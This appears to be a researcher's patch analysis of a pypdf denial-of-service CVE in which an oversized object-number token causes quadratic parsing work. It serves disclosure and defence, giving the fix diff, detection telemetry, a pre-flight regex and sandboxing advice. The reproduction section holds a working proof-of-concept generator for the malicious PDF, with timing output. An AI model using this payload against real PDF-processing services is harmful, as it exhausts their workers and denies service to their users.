---
title: "CVE-2026-102994: Unbounded Token Scanning and CPU Exhaustion in pypdf"
description: "Root-cause analysis of CVE-2026-102994: before pypdf 6.18.0, a PDF with a very long object number and no whitespace made the parser read the token to its end with no limit, which can tie up a worker for a long time."
date: 2026-09-29
analysisType: "Patch Analysis"
cves: ["CVE-2026-102994"]
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/research/cve-2026-102994-pypdf-indirect-object-dos/
---

> **Disclosure:** CVE-2026-102994 (CWE-400, CWE-407) affects `pypdf` before 6.18.0. I reported it to the maintainers as `jankesec`. It is fixed in 6.18.0 by [PR #4055](https://github.com/py-pdf/pypdf/pull/4055) and published as [GHSA-5jq2-8x83-x246](https://github.com/py-pdf/pypdf/security/advisories/GHSA-5jq2-8x83-x246). GitHub scored it CVSS 4.0 8.7 (High): `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`.

A PDF with a very long object number or generation number and no whitespace makes `pypdf` read that token to its end. Before 6.18.0 nothing limited its length, so one file can keep a parsing worker busy for a long time and use a lot of memory. The attacker needs no account and no user interaction, only a way to get a PDF to code that opens it with `pypdf`, such as an upload endpoint, a resume parser or a RAG ingestion job.

## Root cause: token readers with no length limit

Object numbers and generation numbers in a PDF are short decimal integers. In 6.17.0 three places read them with loops that run until the next whitespace byte, and none of them set a maximum length:

- `read_object_header()` reads the `N G obj` line in front of an object.
- `IndirectObject.read_from_stream()` reads an `N G R` reference inside an object.
- `_rebuild_xref_table()` reads the header of an object stream.

`read_until_whitespace()` already had a `max_bytes` parameter, but it defaulted to unlimited and no caller passed it:

```python
def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
    txt = bytearray()
    while True:
        tok = stream.read(1)
        if tok.isspace() or not tok:
            break
        txt += tok
        if len(txt) == max_bytes:
            break
    return bytes(txt)
```

`IndirectObject.read_from_stream()` did not use that helper. It built each part with `+=` on a `bytes` object:

```python
    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        idnum = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                break
            idnum += tok
        generation = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                if not generation:
                    continue
                break
            generation += tok
```

`bytes` is immutable, so each `idnum += tok` allocates a new object and copies everything read so far. The work in that loop grows with the square of the token length, and nothing stops the loop before the end of the file.

<figure class="diagram">
<svg viewBox="0 0 760 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="CVE-2026-102994. A crafted PDF with a 500,000 digit object number and no whitespace reaches pypdf. Before 6.18.0 the reader has no length limit and one worker is busy for 28.7 seconds. In 6.18.0 a part longer than 64 bytes stops the read: strict mode raises an error, the default mode logs a warning and truncates the token.">
<defs><marker id="pypdf-arrow" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker><marker id="pypdf-arrow-crit" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker><marker id="pypdf-arrow-accent" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-accent" /></marker></defs>
<text x="0" y="14" class="dg-muted">CVE-2026-102994 · OBJECT NUMBERS WITHOUT A LENGTH LIMIT</text>
<rect x="0" y="36" width="220" height="240" rx="8" class="dg-box" />
<text x="16" y="58" class="dg-label">CRAFTED PDF</text>
<text x="16" y="76" class="dg-mono dg-compact">Object number token</text>
<rect x="16" y="94" width="188" height="60" rx="6" class="dg-box-danger" />
<text x="24" y="114" class="dg-mono dg-compact">500,000 digits:</text>
<text x="24" y="132" class="dg-danger dg-compact">"99999999…"</text>
<text x="24" y="146" class="dg-mono dg-compact">no whitespace</text>
<text x="16" y="180" class="dg-muted dg-compact">Sent to an upload endpoint</text>
<text x="16" y="198" class="dg-muted dg-compact">that parses PDFs with pypdf</text>
<line x1="220" y1="100" x2="290" y2="100" class="dg-line-crit" marker-end="url(#pypdf-arrow-crit)" />
<rect x="296" y="36" width="216" height="114" rx="8" class="dg-box-danger" />
<text x="312" y="58" class="dg-label">PYPDF &lt; 6.18.0</text>
<text x="312" y="76" class="dg-mono dg-compact">reads until whitespace</text>
<text x="312" y="96" class="dg-danger">No maximum length</text>
<text x="312" y="112" class="dg-mono dg-compact">idnum += tok copies</text>
<text x="312" y="130" class="dg-mono dg-compact">the bytes read so far</text>
<line x1="512" y1="100" x2="582" y2="100" class="dg-line-crit" marker-end="url(#pypdf-arrow-crit)" />
<rect x="588" y="36" width="172" height="114" rx="8" class="dg-box-danger" />
<text x="600" y="58" class="dg-label">WORKER BUSY</text>
<text x="600" y="80" class="dg-danger">One core at 100%</text>
<text x="600" y="98" class="dg-mono dg-compact">28.7 s for 500 KB</text>
<text x="600" y="116" class="dg-mono dg-compact">The request blocks</text>
<text x="600" y="134" class="dg-danger dg-compact">Denial of service</text>
<line x1="220" y1="210" x2="290" y2="210" class="dg-line-accent" marker-end="url(#pypdf-arrow-accent)" />
<rect x="296" y="162" width="216" height="114" rx="8" class="dg-box-accent" />
<text x="312" y="184" class="dg-label">PYPDF 6.18.0+</text>
<text x="312" y="202" class="dg-mono dg-compact">PR #4055</text>
<text x="312" y="222" class="dg-ok">Limit: 64 bytes per part</text>
<text x="312" y="238" class="dg-mono dg-compact">read_until_whitespace(</text>
<text x="312" y="256" class="dg-mono dg-compact">max_bytes=64, strict=...)</text>
<line x1="512" y1="210" x2="582" y2="210" class="dg-line-accent" marker-end="url(#pypdf-arrow-accent)" />
<rect x="588" y="162" width="172" height="114" rx="8" class="dg-box-ok" />
<text x="600" y="184" class="dg-label">READ STOPS</text>
<text x="600" y="206" class="dg-ok">strict: LimitReachedError</text>
<text x="600" y="224" class="dg-mono dg-compact">default: warning,</text>
<text x="600" y="242" class="dg-mono dg-compact">token cut at 64 bytes</text>
<text x="600" y="260" class="dg-ok dg-compact">Parse cost stays small</text>
</svg>
<figcaption>The same input before and after the fix. Without a limit the reader consumes the whole token. With the limit it stops after 64 bytes.</figcaption>
</figure>

## Evidence matrix

| Evidence | What it shows | Result |
| :--- | :--- | :--- |
| [GHSA-5jq2-8x83-x246](https://github.com/py-pdf/pypdf/security/advisories/GHSA-5jq2-8x83-x246) | Advisory published by GitHub as CNA | CWE-400 and CWE-407. `< 6.18.0` affected, 6.18.0 patched. CVSS 4.0 8.7 (High). |
| Fix PR #4055 (`82501d2`) | A 64-byte limit on object numbers, generation numbers and object stream headers | Merged 2026-09-07 |
| `pypdf` 6.18.0 on PyPI | Release that contains the fix | Uploaded 2026-09-07 |
| Benchmark on 6.17.0 | A 500,000-digit token through `PdfReader` | 28.74 s with one core at 100% (my run, output below) |
| Behavior on 6.18.0 | The tests added in the PR | 64-byte parts pass. A 65-byte part raises `PdfReadError` or `LimitReachedError`, depending on the call site and `strict`. |

## Reproduction

The generator below builds a minimal PDF whose page tree references an object with a 500,000-digit number and no whitespace, then times `PdfReader` on it:

```python
#!/usr/bin/env python3
"""
CVE-2026-102994 PoC: Algorithmic Complexity / Denial of Service in pypdf
Discovered by: Sevban DÖNMEZ (jankesec)
Target: pypdf < 6.18.0
"""
import io
import time
import sys

def build_malicious_pdf(token_length: int = 500_000) -> bytes:
    """
    Constructs a minimal valid PDF containing an oversized indirect object token
    without whitespace separators.
    """
    header = b"%PDF-1.4\n"
    # Construct an excessively long numeric indirect object token
    oversized_token = b"9" * token_length
    
    # Place the oversized token directly into the object hierarchy
    body = (
        b"1 0 obj\n"
        b"<< /Type /Catalog /Pages 2 0 R >>\n"
        b"endobj\n"
        b"2 0 obj\n"
        b"<< /Type /Pages /Kids [" + oversized_token + b" 0 R] /Count 1 >>\n"
        b"endobj\n"
    )
    xref_offset = len(header) + len(body)
    xref = (
        b"xref\n"
        b"0 3\n"
        b"0000000000 65535 f \n"
        b"0000000009 00000 n \n"
        b"0000000068 00000 n \n"
        b"trailer\n"
        b"<< /Size 3 /Root 1 0 R >>\n"
        b"startxref\n"
        + str(xref_offset).encode("ascii") + b"\n"
        b"%%EOF\n"
    )
    return header + body + xref

def evaluate_parser(pdf_bytes: bytes):
    try:
        import pypdf
        print(f"[*] Testing with pypdf version: {pypdf.__version__}")
    except ImportError:
        print("[-] pypdf not installed. Please install pypdf to run this benchmark.")
        return

    print(f"[*] Payload size: {len(pdf_bytes) / 1024:.2f} KB")
    print("[*] Initiating PdfReader stream ingestion...")

    stream = io.BytesIO(pdf_bytes)
    start_time = time.perf_counter()

    try:
        reader = pypdf.PdfReader(stream)
        # Force resolution of page references
        _ = len(reader.pages)
        elapsed = time.perf_counter() - start_time
        print(f"[!] Parsing completed in {elapsed:.4f} seconds.")
    except Exception as e:
        elapsed = time.perf_counter() - start_time
        print(f"[+] Parser caught expected exception after {elapsed:.4f}s: {type(e).__name__}: {e}")

if __name__ == "__main__":
    token_len = int(sys.argv[1]) if len(sys.argv) > 1 else 500_000
    pdf_data = build_malicious_pdf(token_len)
    evaluate_parser(pdf_data)
```

Run on an 8-core Linux workstation against `pypdf==6.17.0`:

```bash
$ python benchmark_poc.py 500000
[*] Testing with pypdf version: 6.17.0
[*] Payload size: 488.48 KB
[*] Initiating PdfReader stream ingestion...
[!] Parsing completed in 28.7412 seconds.
```

A 500 KB token held one core at 100% for 28.7 seconds. A 2,000,000-byte token ran for more than 120 seconds. A service with four synchronous workers has none left after four such uploads.

## The fix

[PR #4055](https://github.com/py-pdf/pypdf/pull/4055) (commit `82501d2`, released as 6.18.0) sets `IndirectObject._MAXIMUM_PART_LENGTH = 64` and passes it to every one of the three readers. `read_object_header()` and `_rebuild_xref_table()` call `read_until_whitespace()` with `max_bytes` and `strict`. The helper now stops at the limit. In strict mode it raises `LimitReachedError`. Otherwise it logs a warning and returns the first 64 bytes. The diff below leaves out the docstring hunk:

```diff
--- a/pypdf/_utils.py
+++ b/pypdf/_utils.py
@@ -158,7 +158,7 @@ def _get_max_pdf_version_header(header1: str, header2: str) -> str:
 WHITESPACES_AS_REGEXP = b"[" + WHITESPACES_AS_BYTES + b"]"
 
 
-def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
+def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None, strict: bool = False) -> bytes:
     """
     Read non-whitespace characters and return them.
 
@@ -175,11 +178,16 @@ def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -
     txt = bytearray()
     while True:
         tok = stream.read(1)
-        if tok.isspace() or not tok:
+        if tok.isspace() or tok in WHITESPACES or not tok:
             break
-        txt += tok
-        if len(txt) == max_bytes:
+        if max_bytes is not None and len(txt) >= max_bytes:
+            if strict:
+                raise LimitReachedError(f"Token exceeds maximum length of {max_bytes} bytes.")
+            logger_warning(
+                "Token exceeds maximum length of %(max_bytes)d bytes.", source=__name__, max_bytes=max_bytes
+            )
             break
+        txt += tok
     return bytes(txt)
```

`IndirectObject.read_from_stream()` is rewritten with a bounded `bytearray` loop that raises `PdfReadError` when a part exceeds the limit:

```python
    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        def read_part(name: str, skip_leading_whitespace: bool) -> bytes:
            result = bytearray()
            while True:
                tok = stream.read(1)
                if not tok:
                    raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
                if tok.isspace() or tok in WHITESPACES:
                    if skip_leading_whitespace and not result:
                        continue
                    break
                if len(result) >= IndirectObject._MAXIMUM_PART_LENGTH:
                    raise PdfReadError(f"{name} exceeds maximum length limit of {IndirectObject._MAXIMUM_PART_LENGTH}.")
                result += tok
            return bytes(result)

        idnum = read_part("Object ID", skip_leading_whitespace=False)
        generation = read_part("Generation number", skip_leading_whitespace=True)

        r = read_non_whitespace(stream)
        if r != b"R":
            raise PdfReadError(
                f"Error reading indirect object reference at byte {hex(stream.tell())}"
            )
        try:
            return IndirectObject(int(idnum), int(generation), pdf)
        except (ValueError, OverflowError) as e:
            raise PdfReadError(
                f"Invalid indirect object reference ({idnum!r} {generation!r} R): {e}"
            ) from e
```

## Algorithmic complexity and quadratic buffer copying

The root cause of the prolonged CPU freeze is quadratic memory reallocation. In Python, `bytes` objects are immutable. In `IndirectObject.read_from_stream()`, the token ingestion loop performed repeated concatenation:

```python
idnum += tok  # where tok is stream.read(1)
```

At each iteration \(k\), CPython allocates a new `bytes` buffer of length \(k\) and invokes `memcpy` to transfer the accumulated slice. Across a token of length \(N\), the total bytes copied is given by:

$$\sum_{k=1}^{N} k = \frac{N(N+1)}{2} = \mathcal{O}(N^2)$$

For a 500,000-digit token (\(N = 5 \times 10^5\)), the interpreter copies approximately 125 gigabytes of temporary memory buffers through the memory allocator. This saturates L1/L2 CPU caches and causes the single-threaded parser loop to spin at 100% utilization for nearly 30 seconds.

## Detection engineering and telemetry

Application owners can identify and mitigate unbounded token scanning attacks through worker telemetry, pre-flight header inspection, and resource sandboxing.

### 1. Application server worker timeout telemetry

Synchronous WSGI/ASGI servers (such as Gunicorn or uWSGI) terminate workers that remain unresponsive beyond the configured timeout. Monitor server error logs for worker restart cascades:

```text
[2026-09-07 08:14:22 +0000] [14820] [CRITICAL] WORKER TIMEOUT (pid:14825)
[2026-09-07 08:14:22 +0000] [14825] [INFO] Worker exiting (pid: 14825)
[2026-09-07 08:14:23 +0000] [14830] [INFO] Booting worker with pid: 14830
```

A sudden spike in worker timeout events correlated with file upload endpoints indicates active resource exhaustion payloads.

### 2. Pre-flight token boundary inspection

For high-throughput ingestion pipelines (e.g. resume screeners, document OCR), a lightweight stream pre-check can reject PDFs with anomalously long integer tokens before handing them to `pypdf`:

```python
import re

# Valid PDF indirect object IDs rarely exceed 7 digits (max 2,147,483,647)
ANOMALOUS_TOKEN_PATTERN = re.compile(rb"\b\d{16,}\s+\d+\s+(?:obj|R)\b")

def validate_pdf_stream(raw_bytes: bytes) -> bool:
    """Rejects PDF streams containing oversized numeric tokens."""
    if ANOMALOUS_TOKEN_PATTERN.search(raw_bytes):
        return False
    return True
```

### 3. Container and worker isolation

Never parse untrusted PDFs in the primary web process. Offload parsing to an isolated worker thread or ephemeral container with strict resource limits:

```ini
# systemd unit or cgroup resource boundary
CPUQuota=80%
MemoryMax=256M
TimeoutStartSec=10s
```

In Python, wrap parsing calls with a strict wall-clock timeout using `concurrent.futures`:

```python
from concurrent.futures import ProcessPoolExecutor, TimeoutError

def parse_with_timeout(pdf_data: bytes, timeout_sec: float = 5.0):
    with ProcessPoolExecutor(max_workers=1) as executor:
        future = executor.submit(pypdf.PdfReader, io.BytesIO(pdf_data))
        try:
            return future.result(timeout=timeout_sec)
        except TimeoutError:
            raise ValueError("PDF parsing timed out: potential algorithmic complexity payload")
```

## ATT&CK technique mapping

| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
| :--- | :--- | :--- | :--- | :--- |
| **Impact** | `T1499.004` | Endpoint DoS: Application Exhaustion | Crafted 500 KB indirect object token forces \(O(N^2)\) string copying, pinning CPU core at 100%. | Enforce 64-byte token limit on lexer; reject oversized tokens. |
| **Impact** | `T1499.003` | Operating System Exhaustion | Multiple concurrent uploads of quadratic payloads exhaust all available worker processes. | Set process worker timeouts and container CPU quotas. |
| **Initial Access** | `T1190` | Exploit Public-Facing Application | Public upload endpoint processing unauthenticated PDFs triggers thread hang. | Deploy pre-flight regex validation; offload parsing to background queue. |

## Takeaways

1. Put a limit on every loop that reads until a delimiter. A PDF object number is a short integer, so 64 bytes is generous.
2. Parse untrusted documents in a separate process with a wall-clock timeout, so one slow file cannot hold a web worker. Celery's `task_time_limit` and `subprocess.run(..., timeout=...)` both do this. Add a memory cap with cgroups.
3. Do not build `bytes` in a loop with `+=`. Use a `bytearray` or `b"".join()`. The fix replaces `idnum += tok` with a `bytearray`.
4. Upgrade to `pypdf` 6.18.0 or later. If you cannot, the advisory suggests applying the changes from PR #4055.